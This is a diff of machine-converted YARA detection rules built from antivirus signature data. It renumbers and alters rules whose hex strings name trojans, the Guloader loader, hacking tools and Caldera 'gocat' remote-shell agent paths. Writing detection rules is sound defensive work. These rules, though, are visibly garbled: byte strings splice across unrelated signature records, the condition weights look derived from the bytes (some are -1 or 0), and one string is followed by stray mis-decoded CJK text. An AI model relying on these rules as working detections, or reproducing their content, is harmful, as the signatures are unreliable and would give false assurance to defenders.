"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -130648,7 +139283,7 @@ rule _InfrastructureShared_11814{ ((#a_4c_0 & 1)*21539+(#a_24_1 & 1)*-30376+(#a_64_2 & 1)*16686+(#a_2d_3 & 1)*11565) >=4 } -rule _InfrastructureShared_11815{ +rule _InfrastructureShared_12584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -130661,7 +139296,7 @@ rule _InfrastructureShared_11815{ ((#a_4c_0 & 1)*21539+(#a_2d_1 & 1)*11565+(#a_03_2 & 1)*1+(#a_aa_3 & 1)*0) >=4 } -rule _InfrastructureShared_11816{ +rule _InfrastructureShared_12585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -130674,7 +139309,7 @@ rule _InfrastructureShared_11816{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29285+(#a_76_2 & 1)*25646+(#a_74_3 & 1)*11880) >=4 } -rule _InfrastructureShared_11817{ +rule _InfrastructureShared_12586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -130687,7 +139322,7 @@ rule _InfrastructureShared_11817{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*11892+(#a_3a_4 & 1)*17748+(#a_30_5 & 1)*13362) >=4 } -rule _InfrastructureShared_11818{ +rule _InfrastructureShared_12587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -130698,7 +139333,18 @@ rule _InfrastructureShared_11818{ ((#a_4c_0 & 1)*21539+(#a_31_1 & 1)*14386) >=5 } -rule _InfrastructureShared_11819{ +rule _InfrastructureShared_12588{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 7a 79 2e 41 48 42 21 4d 54 42 00 03 00 38 01 8b 45 98 03 45 a4 d1 e8 89 45 8c 8b 45 c8 8b 4d e0 03 48 20 8b 55 8c 8b 04 91 89 45 80 8b 45 e0 03 45 80 89 85 74 ff } //21539 + $a_45_1 = {89 85 88 fe ff ff 8b 8d 74 ff ff ff 02 00 42 01 8b 45 04 89 85 e8 fd ff ff 8d 45 04 89 85 f4 fd ff ff c7 85 30 fd ff ff 01 00 01 00 8b 40 fc 89 85 e4 fd ff ff 8b 45 0c 89 85 e0 fc ff ff 8b 45 10 89 85 e4 fc ff ff 8b 45 04 89 85 ec fc ff ff ff 15 00 00 78 aa 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 53 50 72 6f 74 65 63 74 6f 72 2e 52 21 4d 54 42 00 01 00 21 80 01 68 74 74 70 } //-1 + condition: + ((#a_4c_0 & 1)*21539+(#a_45_1 & 1)*-1) >=5 + +} +rule _InfrastructureShared_12589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -130712,7 +139358,7 @@ rule _InfrastructureShared_11819{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26988+(#a_67_2 & 1)*28257+(#a_4f_3 & 1)*384+(#a_52_4 & 1)*12108) >=5 } -rule _InfrastructureShared_11820{ +rule _InfrastructureShared_12590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -130720,25 +139366,52 @@ rule _InfrastructureShared_11820{ $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 61 77 32 35 00 02 00 14 80 01 6e 67 69 6e 65 47 61 6d 65 20 44 6f 77 6e 6c 6f 61 64 65 72 01 00 14 80 01 73 69 6e 67 6c 65 20 63 61 73 74 20 } //16675 $a_65_1 = {76 65 72 01 00 10 80 01 63 61 6c 6c 20 42 65 67 69 6e 49 6e 76 6f 6b 65 01 00 16 80 01 46 4f 52 43 45 43 4c 4f 53 45 41 50 50 4c 49 43 41 54 49 4f 4e 53 01 00 13 80 01 52 45 53 54 41 52 54 41 50 50 4c 49 43 41 54 49 4f 4e 53 00 00 78 aa 00 00 05 00 05 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 4d 53 49 4c 2f 56 52 69 64 67 65 00 01 00 12 01 } //25199 $a_00_2 = {5f 00 4d 00 75 00 74 00 65 00 78 00 74 00 01 00 0a 01 56 52 69 64 67 65 2e 65 78 65 01 00 25 01 6c 69 62 2f 78 38 36 2f 56 52 45 2e 56 72 69 64 67 65 2e 45 6e 63 6f 64 65 72 73 2e 4e 76 65 6e 63 2e 64 6c 6c 01 00 24 01 52 00 69 00 66 00 74 00 43 00 61 } //70 - $a_00_4 = {2e 00 20 00 7a 00 20 00 6f 00 2e 00 20 00 6f 00 01 00 11 01 43 6f 70 79 72 69 67 68 74 20 52 69 66 74 43 61 74 00 00 78 aa 00 00 05 00 05 00 06 00 21 23 54 45 4c 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 6f 67 63 68 69 6c 2e 41 21 64 68 61 00 01 00 0b 00 25 75 2e 25 75 2e 25 75 2e 25 75 01 00 0f 00 53 6f 66 74 77 61 } //115 + $a_00_4 = {2e 00 20 00 7a 00 20 00 6f 00 2e 00 20 00 6f 00 01 00 11 01 43 6f 70 79 72 69 67 68 74 20 52 69 66 74 43 61 74 00 00 78 aa 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 4a 36 30 30 21 4d 54 42 00 01 00 23 81 01 5c 46 6c 6c 65 73 66 6c 65 6c 73 65 6e 73 31 34 33 5c 74 61 70 70 65 6b 6f } //115 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25199+(#a_00_2 & 1)*70+(#a_00_4 & 1)*115) >=5 } -rule _InfrastructureShared_11821{ +rule _InfrastructureShared_12591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 4d 53 49 4c 2f 56 52 69 64 67 65 00 01 00 12 01 46 00 54 00 5f 00 4d 00 75 00 74 00 65 00 78 00 74 00 01 00 0a 01 56 52 69 64 67 65 2e 65 78 65 01 00 25 01 6c 69 62 2f 78 38 36 2f 56 52 45 2e 56 72 69 64 67 65 2e 45 6e 63 6f 64 65 72 73 2e 4e 76 65 6e 63 2e 64 6c 6c 01 00 24 01 52 00 69 00 66 00 74 00 43 } //16675 - $a_00_2 = {70 00 2e 00 20 00 7a 00 20 00 6f 00 2e 00 20 00 6f 00 01 00 11 01 43 6f 70 79 72 69 67 68 74 20 52 69 66 74 43 61 74 00 00 78 aa 00 00 05 00 05 00 06 00 21 23 54 45 4c 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 6f 67 63 68 69 6c 2e 41 21 64 68 61 00 01 00 0b 00 25 75 2e 25 75 2e 25 75 2e 25 75 01 00 0f 00 53 6f 66 74 77 61 72 } //32 - $a_6f_3 = {67 6c 65 01 00 08 00 4d 41 52 4b 53 69 7a 65 01 00 1a 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 53 00 79 00 73 00 6c 00 6f 00 67 00 5c 00 01 00 1c 00 5b 00 43 00 74 00 72 00 6c 00 20 00 52 00 65 00 6c 00 65 00 61 00 } //23653 - $a_00_4 = {5d 00 02 00 0c 01 46 75 6e 63 74 69 6f 6e 57 6f 72 6b 00 00 78 aa 00 00 05 00 05 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 68 65 65 73 65 4d 61 70 2e 41 21 64 68 61 00 01 00 0e 01 47 65 74 57 69 6e 64 6f 77 54 65 78 74 57 01 00 0b 01 45 6e 75 6d 57 69 6e 64 6f 77 73 01 00 0e } //115 + $a_00_2 = {70 00 2e 00 20 00 7a 00 20 00 6f 00 2e 00 20 00 6f 00 01 00 11 01 43 6f 70 79 72 69 67 68 74 20 52 69 66 74 43 61 74 00 00 78 aa 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 4a 36 30 30 21 4d 54 42 00 01 00 23 81 01 5c 46 6c 6c 65 73 66 6c 65 6c 73 65 6e 73 31 34 33 5c 74 61 70 70 65 6b 6f 6c } //32 + $a_65_3 = {2e 6c 6e 6b 01 00 0f 81 01 35 5c 66 61 61 72 65 68 6f 6c 64 2e 68 74 6d 01 00 17 81 01 5c 6c 61 69 67 68 73 5c 59 65 6c 6c 6f 77 62 65 72 72 79 2e 69 6e 69 01 00 11 81 01 63 65 6e 74 65 72 76 69 6e 6b 6c 65 72 2e 73 65 69 01 00 0e 81 01 5c 52 65 77 72 69 74 69 6e 67 2e 42 69 66 00 00 78 aa 00 00 05 00 05 00 05 00 21 23 48 53 54 } //28271 + $a_69_4 = {33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 48 30 31 21 4d 54 42 00 01 00 26 81 01 6a 69 6e 67 6c 65 20 70 61 73 63 6f 6c 61 20 75 64 70 61 6e 74 6e 69 6e 67 73 66 6f 72 72 65 74 6e 69 6e 67 65 72 01 00 10 81 01 69 6e 73 70 65 6b 74 69 6f 6e 65 72 2e 65 78 65 01 } //14930 condition: - ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*32+(#a_6f_3 & 1)*23653+(#a_00_4 & 1)*115) >=5 + ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*32+(#a_65_3 & 1)*28271+(#a_69_4 & 1)*14930) >=5 } -rule _InfrastructureShared_11822{ +rule _InfrastructureShared_12592{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 4a 36 30 30 21 4d 54 42 00 01 00 23 81 01 5c 46 6c 6c 65 73 66 6c 65 6c 73 65 6e 73 31 34 33 5c 74 61 70 70 65 6b 6f 6c 6f 6e 6e 65 6e 2e 6c 6e 6b 01 00 0f 81 01 35 5c 66 61 61 72 65 68 6f 6c 64 } //18467 + $a_6d_1 = {00 17 81 01 5c 6c 61 69 67 68 73 5c 59 65 6c 6c 6f 77 62 65 72 72 79 2e 69 6e 69 01 00 11 81 01 63 65 6e 74 65 72 76 69 6e 6b 6c 65 72 2e 73 65 69 01 00 0e 81 01 5c 52 65 77 72 69 74 69 6e 67 2e 42 69 66 00 00 78 aa 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 48 30 31 21 4d 54 42 00 01 00 26 81 } //26670 + $a_6e_2 = {6c 65 20 70 61 73 63 6f 6c 61 20 75 64 70 61 6e 74 6e 69 6e 67 73 66 6f 72 72 65 74 6e 69 6e 67 65 72 01 00 10 81 01 69 6e 73 70 65 6b 74 69 6f 6e 65 72 2e 65 78 65 01 00 16 81 01 76 73 65 6e 74 6c 69 67 68 65 64 73 6b 72 69 74 65 72 69 65 72 73 01 00 09 81 01 6c 61 6e 74 65 72 6e 65 64 01 00 14 81 01 74 79 72 61 } //27137 + $a_6e_3 = {20 61 6b 75 70 75 6e 6b 74 72 73 00 00 78 aa 00 00 05 00 05 00 06 00 21 23 54 45 4c 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 6f 67 63 68 69 6c 2e 41 21 64 68 61 00 01 00 0b 00 25 75 2e 25 75 2e 25 75 2e 25 75 01 00 0f 00 53 6f 66 74 77 61 72 65 5c 47 6f 6f 67 6c 65 01 00 08 00 4d 41 52 4b 53 69 } //28270 + $a_00_4 = {1a } //25978 + condition: + ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*26670+(#a_6e_2 & 1)*27137+(#a_6e_3 & 1)*28270+(#a_00_4 & 1)*25978) >=5 + +} +rule _InfrastructureShared_12593{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 48 30 31 21 4d 54 42 00 01 00 26 81 01 6a 69 6e 67 6c 65 20 70 61 73 63 6f 6c 61 20 75 64 70 61 6e 74 6e 69 6e 67 73 66 6f 72 72 65 74 6e 69 6e 67 65 72 01 00 10 81 01 69 6e 73 70 65 6b 74 69 6f } //18467 + $a_2e_1 = {78 65 01 00 16 81 01 76 73 65 6e 74 6c 69 67 68 65 64 73 6b 72 69 74 65 72 69 65 72 73 01 00 09 81 01 6c 61 6e 74 65 72 6e 65 64 01 00 14 81 01 74 79 72 61 6e 6e 69 6e 65 20 61 6b 75 70 75 6e 6b 74 72 73 00 00 78 aa 00 00 05 00 05 00 06 00 21 23 54 45 4c 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 6f 67 63 68 69 6c 2e 41 21 } //25966 + $a_00_2 = {01 00 0b 00 25 75 2e 25 75 2e 25 75 2e 25 75 01 00 0f 00 53 6f 66 74 77 61 72 65 5c 47 6f 6f 67 6c 65 01 00 08 00 4d 41 52 4b 53 69 7a 65 01 00 1a 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 53 00 79 00 73 00 6c 00 6f 00 67 00 5c 00 01 00 1c 00 5b 00 43 00 74 00 72 00 6c 00 20 00 52 00 65 00 6c } //26724 + $a_00_4 = {5d 00 02 00 0c 01 46 75 6e 63 74 69 6f 6e 57 6f 72 6b 00 00 78 aa 00 00 05 00 05 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 68 65 65 73 65 4d 61 70 2e 41 21 64 68 61 00 01 00 0e 01 47 65 74 57 69 6e 64 6f 77 54 65 78 74 57 01 00 0b 01 45 6e 75 6d 57 69 6e 64 6f 77 73 01 00 0e } //115 + condition: + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25966+(#a_00_2 & 1)*26724+(#a_00_4 & 1)*115) >=5 + +} +rule _InfrastructureShared_12594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -130752,7 +139425,7 @@ rule _InfrastructureShared_11822{ ((#a_4c_0 & 1)*21539+(#a_52_1 & 1)*19712+(#a_6e_3 & 1)*17921+(#a_69_4 & 1)*26478+(#a_00_5 & 1)*5) >=5 } -rule _InfrastructureShared_11823{ +rule _InfrastructureShared_12595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -130767,7 +139440,7 @@ rule _InfrastructureShared_11823{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*27745+(#a_69_3 & 1)*29697+(#a_2e_4 & 1)*28527+(#a_4f_5 & 1)*20340+(#a_57_6 & 1)*29285) >=5 } -rule _InfrastructureShared_11824{ +rule _InfrastructureShared_12596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -130783,7 +139456,7 @@ rule _InfrastructureShared_11824{ ((#a_77_0 & 1)*16675+(#a_3f_1 & 1)*26736+(#a_61_2 & 1)*24929+(#a_36_3 & 1)*29537+(#a_69_4 & 1)*21249+(#a_63_5 & 1)*17199+(#a_33_6 & 1)*5632) >=5 } -rule _InfrastructureShared_11825{ +rule _InfrastructureShared_12597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -130797,7 +139470,7 @@ rule _InfrastructureShared_11825{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28531+(#a_6c_2 & 1)*24941+(#a_01_3 & 1)*3840+(#a_53_5 & 1)*2304) >=6 } -rule _InfrastructureShared_11826{ +rule _InfrastructureShared_12598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -130812,7 +139485,7 @@ rule _InfrastructureShared_11826{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*385+(#a_00_2 & 1)*6+(#a_54_3 & 1)*21061+(#a_00_4 & 1)*80+(#a_49_5 & 1)*19770) >=6 } -rule _InfrastructureShared_11827{ +rule _InfrastructureShared_12599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -130820,13 +139493,13 @@ rule _InfrastructureShared_11827{ $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 63 6f 6c 75 63 6b 2e 42 21 64 68 61 00 01 00 12 01 2c 00 52 00 44 00 44 00 65 00 61 00 6d 00 6f 00 6e 00 01 00 14 01 2c 00 52 00 44 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 } //16675 剅吺潲慪㩮楗㙮⼴潃潣畬正䈮搡慨ĀሀⰁ刀䐀䐀攀愀洀漀渀Ā᐀Ⰱ刀䐀倀爀漀挀攀猀猀 $a_00_2 = {2e 00 5c 00 66 00 73 00 74 00 61 00 62 00 01 00 09 01 53 65 74 75 70 57 6f 72 6b 01 00 0e 01 4e 57 43 57 6f 72 6b 73 74 61 74 69 6f 6e 01 00 16 01 33 00 36 00 30 00 54 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 00 00 78 aa 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 } //92 $a_6e_3 = {4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 52 50 32 30 30 32 32 35 21 4d 54 42 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 1a 01 53 46 41 53 46 41 53 46 41 57 46 51 57 54 47 48 53 48 53 44 48 53 48 44 53 48 01 00 1c 01 58 42 58 4e 53 46 46 4e 53 46 4a 46 53 45 54 57 } //27247 - $a_45_4 = {48 57 45 45 48 57 48 01 00 05 01 46 4a 59 47 4a 01 00 09 01 54 72 69 70 6c 65 44 45 53 01 00 0d 01 46 53 44 47 47 53 53 48 53 48 53 48 53 00 00 78 aa 00 00 06 00 06 00 06 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 43 61 6c 64 65 72 50 6c 75 67 69 6e 2e 41 00 01 00 } //22873 - $a_67_5 = {63 61 74 2f 65 78 65 63 75 74 65 2e 52 75 6e 43 6f 6d 6d 61 6e 64 00 01 00 16 01 2f 67 6f 63 61 74 2f 65 78 65 63 75 74 65 2f 73 68 65 6c 6c } //282 + $a_45_4 = {48 57 45 45 48 57 48 01 00 05 01 46 4a 59 47 4a 01 00 09 01 54 72 69 70 6c 65 44 45 53 01 00 0d 01 46 53 44 47 47 53 53 48 53 48 53 48 53 00 00 78 aa 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e } //22873 + $a_30_5 = {21 4d 54 42 00 01 00 13 81 01 6b 6c 61 74 6d 61 6c 65 72 69 65 72 20 76 61 6c 6d 65 74 01 00 0b 81 01 61 66 6c 61 64 73 62 72 65 76 65 01 00 16 81 01 69 6e 64 68 61 76 20 62 65 72 79 6c 6c 69 75 6d 65 74 2e 65 78 65 01 00 14 81 01 } //16723 condition: - ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*92+(#a_6e_3 & 1)*27247+(#a_45_4 & 1)*22873+(#a_67_5 & 1)*282) >=6 + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*92+(#a_6e_3 & 1)*27247+(#a_45_4 & 1)*22873+(#a_30_5 & 1)*16723) >=6 } -rule _InfrastructureShared_11828{ +rule _InfrastructureShared_12600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -130834,12 +139507,27 @@ rule _InfrastructureShared_11828{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 52 50 32 30 30 32 32 35 21 4d 54 42 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 1a 01 53 46 41 53 46 41 53 46 41 57 46 51 57 54 47 48 53 48 53 44 48 53 48 44 } //18467 $a_00_1 = {1c } //18515 $a_58_2 = {53 46 46 4e 53 46 4a 46 53 45 54 57 59 59 57 45 59 48 57 45 45 48 57 48 01 00 05 01 46 4a 59 47 4a 01 00 09 01 54 72 69 70 6c 65 44 45 53 01 00 0d 01 46 53 44 47 47 53 53 48 53 48 53 48 53 00 00 78 } //22529 - $a_53_5 = {46 3a 57 69 6e 33 32 2f 43 61 6c 64 65 72 50 6c 75 67 69 6e 2e 41 00 01 00 1a 01 2f 67 6f 63 61 74 2f 65 } //8448 + $a_48_5 = {54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4d 30 31 21 4d 54 42 00 } //8448 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*18515+(#a_58_2 & 1)*22529+(#a_53_5 & 1)*8448) >=6 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*18515+(#a_58_2 & 1)*22529+(#a_48_5 & 1)*8448) >=6 } -rule _InfrastructureShared_11829{ +rule _InfrastructureShared_12601{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4d 30 31 21 4d 54 42 00 01 00 13 81 01 6b 6c 61 74 6d 61 6c 65 72 69 65 72 20 76 61 6c 6d 65 74 01 00 0b 81 01 61 66 6c 61 64 73 62 72 65 76 65 01 00 16 81 01 69 6e 64 68 61 } //18467 + $a_65_1 = {79 6c 6c 69 75 6d 65 74 2e 65 78 65 01 00 14 81 01 62 72 6e 65 66 6f 72 73 6f 72 67 73 70 64 61 67 6f 67 65 6e 01 00 0a 81 01 64 75 63 74 69 6c 69 7a 65 73 01 00 0b 81 01 65 72 68 6f 6c 64 65 6c 73 65 6e 00 00 78 aa 00 00 06 00 06 00 06 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 43 61 6c 64 65 72 } //8310 + $a_67_2 = {6e 2e 41 00 01 00 1a 01 2f 67 6f 63 61 74 2f 65 78 65 63 75 74 65 2e 52 75 6e 43 6f 6d 6d 61 6e 64 00 01 00 16 01 2f 67 6f 63 61 74 2f 65 78 65 63 75 74 65 2f 73 68 65 6c 6c 73 00 01 00 0d 01 2f 67 6f 63 61 74 2f 61 67 65 6e 74 2e 01 00 16 01 2f 67 6f 63 61 74 2f 65 78 65 63 75 74 65 2f 73 68 65 6c 6c 73 2e 01 00 0f 01 2f 67 6f 63 61 74 2f 63 6f 6e } //27728 + $a_74_3 = {01 00 0d 01 2f 67 6f 63 61 74 2f 70 72 6f 78 79 2f 00 00 78 aa 00 00 06 00 06 00 07 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4f 70 65 6e 43 61 6e 64 79 00 02 00 0e 80 01 4f 43 53 65 74 75 70 48 6c 70 2e 64 6c 6c 01 00 0d 80 01 4f 70 65 6e 43 61 6e 64 79 20 49 6e 63 01 00 0a 80 01 67 65 74 5f 6f 66 } //24948 + $a_73_4 = {00 0f 80 01 4f 43 47 65 74 4f 66 66 65 72 53 74 61 74 65 01 00 0e 80 01 4f 43 53 65 74 4f 66 66 65 72 44 61 74 61 01 00 0d 80 01 4f 43 41 50 49 55 6e 69 74 54 65 73 74 01 00 1a 80 01 4f 70 65 6e 43 61 6e 64 79 5f 57 68 79 5f 49 73 5f 54 68 69 73 5f 48 65 72 65 00 00 78 aa 00 00 08 00 08 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 61 } //25958 + $a_72_5 = {50 72 6f 74 65 63 74 69 6f 6e 43 6c 69 65 6e 74 00 05 00 17 01 4d 61 6c 77 61 72 65 50 72 6f 74 65 63 74 69 6f 6e 43 6c 69 65 6e 74 01 00 0c 01 55 45 42 41 55 33 63 77 63 6d 51 3d 01 00 0c 01 55 30 42 4d 56 43 5a 4c 52 56 6b 3d 01 00 18 01 51 44 46 43 4d 6d 4d 7a 52 44 52 6c 4e 55 59 32 5a } //30572 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*8310+(#a_67_2 & 1)*27728+(#a_74_3 & 1)*24948+(#a_73_4 & 1)*25958+(#a_72_5 & 1)*30572) >=6 + +} +rule _InfrastructureShared_12602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -130853,7 +139541,7 @@ rule _InfrastructureShared_11829{ ((#a_46_0 & 1)*21283+(#a_6f_2 & 1)*12033+(#a_00_3 & 1)*121+(#a_53_4 & 1)*20225+(#a_53_5 & 1)*20225) >=6 } -rule _InfrastructureShared_11830{ +rule _InfrastructureShared_12603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -130869,7 +139557,7 @@ rule _InfrastructureShared_11830{ ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*29793+(#a_63_2 & 1)*29807+(#a_69_3 & 1)*18266+(#a_75_4 & 1)*29285+(#a_74_5 & 1)*29744+(#a_57_6 & 1)*21505) >=6 } -rule _InfrastructureShared_11831{ +rule _InfrastructureShared_12604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -130884,7 +139572,7 @@ rule _InfrastructureShared_11831{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*23107+(#a_00_2 & 1)*8+(#a_75_3 & 1)*16725+(#a_66_4 & 1)*24421+(#a_74_5 & 1)*25959) >=8 } -rule _InfrastructureShared_11832{ +rule _InfrastructureShared_12605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -130899,7 +139587,7 @@ rule _InfrastructureShared_11832{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25958+(#a_2e_2 & 1)*27763+(#a_73_4 & 1)*20993+(#a_57_5 & 1)*21505+(#a_6a_6 & 1)*29268) >=8 } -rule _InfrastructureShared_11833{ +rule _InfrastructureShared_12606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -130914,7 +139602,7 @@ rule _InfrastructureShared_11833{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_54_2 & 1)*28261+(#a_01_3 & 1)*30063+(#a_41_4 & 1)*29281+(#a_4f_7 & 1)*3177) >=8 } -rule _InfrastructureShared_11834{ +rule _InfrastructureShared_12607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -130931,7 +139619,7 @@ rule _InfrastructureShared_11834{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_78_2 & 1)*28261+(#a_6c_3 & 1)*30825+(#a_71_4 & 1)*29990+(#a_6e_5 & 1)*26691+(#a_00_6 & 1)*110+(#a_13_7 & 1)*400) >=8 } -rule _InfrastructureShared_11835{ +rule _InfrastructureShared_12608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -130944,7 +139632,7 @@ rule _InfrastructureShared_11835{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*20562+(#a_74_2 & 1)*25193+(#a_69_3 & 1)*27463) >=9 } -rule _InfrastructureShared_11836{ +rule _InfrastructureShared_12609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -130955,7 +139643,7 @@ rule _InfrastructureShared_11836{ ((#a_46_0 & 1)*16675+(#a_9f_1 & 1)*25155) >=12 } -rule _InfrastructureShared_11837{ +rule _InfrastructureShared_12610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -130968,7 +139656,7 @@ rule _InfrastructureShared_11837{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99+(#a_00_3 & 1)*21581+(#a_00_4 & 1)*5128) >=12 } -rule _InfrastructureShared_11838{ +rule _InfrastructureShared_12611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -130981,7 +139669,7 @@ rule _InfrastructureShared_11838{ ((#a_46_0 & 1)*16675+(#a_a2_1 & 1)*400+(#a_da_2 & 1)*1041+(#a_68_3 & 1)*13366) >=13 } -rule _InfrastructureShared_11839{ +rule _InfrastructureShared_12612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -130994,7 +139682,7 @@ rule _InfrastructureShared_11839{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*28527+(#a_6e_2 & 1)*27247+(#a_72_3 & 1)*384) >=13 } -rule _InfrastructureShared_11840{ +rule _InfrastructureShared_12613{ meta: description = 